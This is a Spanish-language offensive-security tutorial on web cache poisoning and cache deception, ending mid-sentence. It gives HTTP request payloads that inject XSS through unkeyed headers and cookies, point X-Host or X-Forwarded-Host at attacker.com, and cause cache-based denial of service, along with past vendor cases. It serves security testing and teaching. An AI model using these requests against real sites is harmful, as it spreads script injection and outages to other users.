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Envenenamiento y Engaño de Caché

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La diferencia

¿Cuál es la diferencia entre el envenenamiento y el engaño de caché web?

• En el envenenamiento de caché web, el atacante hace que la aplicación almacene algún contenido malicioso en la caché, y este contenido se sirve desde la caché a otros usuarios de la aplicación.
• En el engaño de caché web, el atacante hace que la aplicación almacene algún contenido sensible perteneciente a otro usuario en la caché, y luego el atacante recupera este contenido de la caché.

Envenenamiento de Caché

El objetivo del envenenamiento de caché es hacer que los clientes carguen recursos inesperados parcialmente o controlados por el atacante.
La respuesta envenenada solo se servirá a los usuarios que visiten la página afectada mientras la caché esté envenenada. Como resultado, el impacto puede variar desde inexistente hasta masivo dependiendo de si la página es popular o no.

Para realizar un ataque de envenenamiento de caché, primero debes identificar las entradas sin clave (parámetros que no necesitan aparecer en la solicitud en caché pero que cambian la página devuelta), ver cómo abusar de este parámetro y obtener la respuesta en caché.

Descubrimiento: Verificar encabezados HTTP

Por lo general, cuando una respuesta se almacena en la caché, habrá un encabezado que lo indique, puedes verificar a qué encabezados debes prestar atención en esta publicación: Encabezados de caché HTTP.

Descubrimiento: Caché de código 400

Si piensas que la respuesta se está almacenando en una caché, podrías intentar enviar solicitudes con un encabezado incorrecto, que debería ser respondido con un código de estado 400. Luego intenta acceder a la solicitud normalmente y si la respuesta es un código de estado 400, sabes que es vulnerable (e incluso podrías realizar un DoS).
Un encabezado mal configurado podría ser solo \: como encabezado.
Ten en cuenta que a veces estos tipos de códigos de estado no se almacenan en caché, por lo que esta prueba será inútil.

Descubrimiento: Identificar y evaluar entradas sin clave

Podrías usar Param Miner para fuerza bruta de parámetros y encabezados que pueden estar cambiando la respuesta de la página. Por ejemplo, una página puede estar usando el encabezado X-Forwarded-For para indicar al cliente que cargue el script desde allí:

<script type="text/javascript" src="//<X-Forwarded-For_value>/resources/js/tracking.js"></script>

Obtener una respuesta dañina del servidor back-end

Con el parámetro/cabecera identificado, comprueba cómo se está sanitizando y dónde se está reflejando o afectando la respuesta de la cabecera. ¿Puedes abusar de ella de alguna manera (realizar un XSS o cargar un código JS controlado por ti? ¿realizar un DoS?...)

Obtener la respuesta en caché

Una vez que hayas identificado la página que se puede abusar, qué parámetro/cabecera usar y cómo abusar de ella, necesitas obtener la página en caché. Dependiendo del recurso que estés intentando obtener en caché, esto podría llevar algún tiempo, es posible que necesites intentarlo durante varios segundos.
La cabecera X-Cache en la respuesta podría ser muy útil, ya que puede tener el valor miss cuando la solicitud no se ha almacenado en caché y el valor hit cuando está en caché.
La cabecera Cache-Control también es interesante para saber si un recurso se está almacenando en caché y cuándo se almacenará en caché de nuevo: Cache-Control: public, max-age=1800
Otra cabecera interesante es Vary. Esta cabecera se utiliza a menudo para indicar cabeceras adicionales que se tratan como parte de la clave de caché aunque normalmente no lo sean. Por lo tanto, si el usuario conoce el User-Agent de la víctima que está atacando, puede envenenar la caché para los usuarios que utilizan ese User-Agent específico.
Otra cabecera relacionada con la caché es Age. Define los tiempos en segundos que el objeto ha estado en la caché del proxy.

Al almacenar en caché una solicitud, ten cuidado con las cabeceras que uses porque algunas de ellas podrían ser utilizadas de manera inesperada como clave y la víctima necesitará usar esa misma cabecera. Siempre prueba un envenenamiento de caché con diferentes navegadores para comprobar si funciona.

Ejemplos de explotación

Ejemplo más fácil

Una cabecera como X-Forwarded-For se refleja en la respuesta sin sanitizar.
Puedes enviar una carga útil básica de XSS y envenenar la caché para que todos los que accedan a la página sean víctimas de XSS:

GET /en?region=uk HTTP/1.1
Host: innocent-website.com
X-Forwarded-Host: a."><script>alert(1)</script>"

Nota que esto envenenará una solicitud a /en?region=uk y no a /en

Usando envenenamiento de caché web para explotar vulnerabilidades de manejo de cookies

Las cookies también pueden reflejarse en la respuesta de una página. Si puedes abusar de esto para causar un XSS, por ejemplo, podrías ser capaz de explotar XSS en varios clientes que cargan la respuesta de caché maliciosa.

GET / HTTP/1.1
Host: vulnerable.com
Cookie: session=VftzO7ZtiBj5zNLRAuFpXpSQLjS4lBmU; fehost=asd"%2balert(1)%2b"

Ten en cuenta que si la cookie vulnerable es muy utilizada por los usuarios, las solicitudes regulares limpiarán la caché.

Uso de múltiples encabezados para explotar vulnerabilidades de envenenamiento de caché web

A veces necesitarás explotar varios inputs sin clave para poder abusar de una caché. Por ejemplo, puedes encontrar una redirección abierta si estableces X-Forwarded-Host en un dominio controlado por ti y X-Forwarded-Scheme en http. Si el servidor está redirigiendo todas las solicitudes HTTP a HTTPS y usando el encabezado X-Forwarded-Scheme como el nombre de dominio para la redirección. Puedes controlar a dónde apunta la página mediante la redirección.

GET /resources/js/tracking.js HTTP/1.1
Host: acc11fe01f16f89c80556c2b0056002e.web-security-academy.net
X-Forwarded-Host: ac8e1f8f1fb1f8cb80586c1d01d500d3.web-security-academy.net/
X-Forwarded-Scheme: http

Explotando con el encabezado Vary limitado

Si descubres que el encabezado X-Host se está utilizando como nombre de dominio para cargar un recurso JS pero el encabezado Vary en la respuesta indica User-Agent, entonces necesitas encontrar una forma de exfiltrar el User-Agent de la víctima y envenenar la caché utilizando ese user agent:

GET / HTTP/1.1
Host: vulnerbale.net
User-Agent: THE SPECIAL USER-AGENT OF THE VICTIM
X-Host: attacker.com

Explotando el Envenenamiento de Caché HTTP mediante el abuso de HTTP Request Smuggling

Aprende aquí cómo realizar ataques de Envenenamiento de Caché mediante el abuso de HTTP Request Smuggling.

Pruebas automatizadas para el Envenenamiento de Caché Web

Se puede utilizar el Web Cache Vulnerability Scanner para probar automáticamente el envenenamiento de caché web. Admite muchas técnicas diferentes y es altamente personalizable.

Ejemplo de uso: wcvs -u example.com

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Ejemplos Vulnerables

Apache Traffic Server (CVE-2021-27577)

ATS reenviaba el fragmento dentro de la URL sin eliminarlo y generaba la clave de caché solo usando el host, la ruta y la consulta (ignorando el fragmento). Por lo tanto, la solicitud /#/../?r=javascript:alert(1) se envió al backend como /#/../?r=javascript:alert(1) y la clave de caché no tenía la carga útil dentro de ella, solo el host, la ruta y la consulta.

GitHub CP-DoS

El envío de un valor incorrecto en el encabezado de tipo de contenido provocó una respuesta en caché 405. La clave de caché contenía la cookie, por lo que solo era posible atacar a usuarios no autenticados.

GitLab + GCP CP-DoS

GitLab utiliza los buckets de GCP para almacenar contenido estático. Los Buckets de GCP admiten el encabezado x-http-method-override. Por lo tanto, era posible enviar el encabezado x-http-method-override: HEAD y envenenar la caché para que devolviera un cuerpo de respuesta vacío. También podría admitir el método PURGE.

Rack Middleware (Ruby on rails)

La aplicación Ruby on Rails a menudo se implementa junto con el middleware Rack. El código de Rack a continuación toma el valor del valor x-forwarded-scheme y lo usa como el esquema de la solicitud.

El envío del encabezado x-forwarded-scheme: http provocaría una redirección 301 a la misma ubicación, lo que causaría una DoS en ese recurso como en este ejemplo:

La aplicación también podría admitir el encabezado X-forwarded-host y redirigir al usuario a ese host, lo que permitiría cargar archivos JavaScript desde el servidor del atacante:

403 y Buckets de almacenamiento

Anteriormente, Cloudflare solía almacenar en caché las respuestas 403, por lo tanto, enviar encabezados de autorización incorrectos tratando de acceder a S3 o Azure Storage Blobs expuestos devolverá un 403 que se almacenará en caché. Cloudflare ya no almacena en caché las respuestas 403, pero esto podría funcionar con otros proxies.

Inyectando parámetros clave

Con bastante frecuencia, las cachés se configuran para incluir solo parámetros GET específicos en la clave de caché.

Por ejemplo, Fastly usando Varnish almacenaba en caché el parámetro size en la solicitud, pero si enviabas también el parámetro siz%65 con un valor incorrecto, la clave de caché se construía con el parámetro de tamaño bien escrito, pero el backend usaba el valor dentro del parámetro codificado en URL.

Codificar en URL el segundo parámetro size hizo que la caché lo ignorara, pero el backend lo usó. Darle al parámetro un valor de 0 daría como resultado una solicitud incorrecta 400 que se puede almacenar en caché.

Reglas de Agente de Usuario

Debido a la gran cantidad de tráfico que generan herramientas como FFUF o Nuclei, algunos desarrolladores decidieron bloquear las solicitudes que coinciden con sus agentes de usuario. Irónicamente, estos ajustes pueden introducir oportunidades no deseadas de envenenamiento de caché y DoS.

Encontré que esto funcionó en varios objetivos, con agentes de usuario de diferentes herramientas o escáneres.

Campos de encabezado ilegales

El formato del nombre del encabezado se define en RFC7230 de la siguiente manera:

En teoría, si un nombre de encabezado contiene caracteres que no son los enumerados en tchar, debería ser rechazado con una solicitud incorrecta 400. En la práctica, sin embargo, los servidores no siempre respetan el RFC. La forma más fácil de explotar esta sutileza era apuntando a Akamai, que no rechaza los encabezados no válidos, sino que los reenvía y almacena cualquier error 400 siempre que el encabezado de control de caché no esté presente.

Enviar un encabezado que contenga un carácter ilegal, \, provocaría un error de solicitud incorrecta 400 que se puede almacenar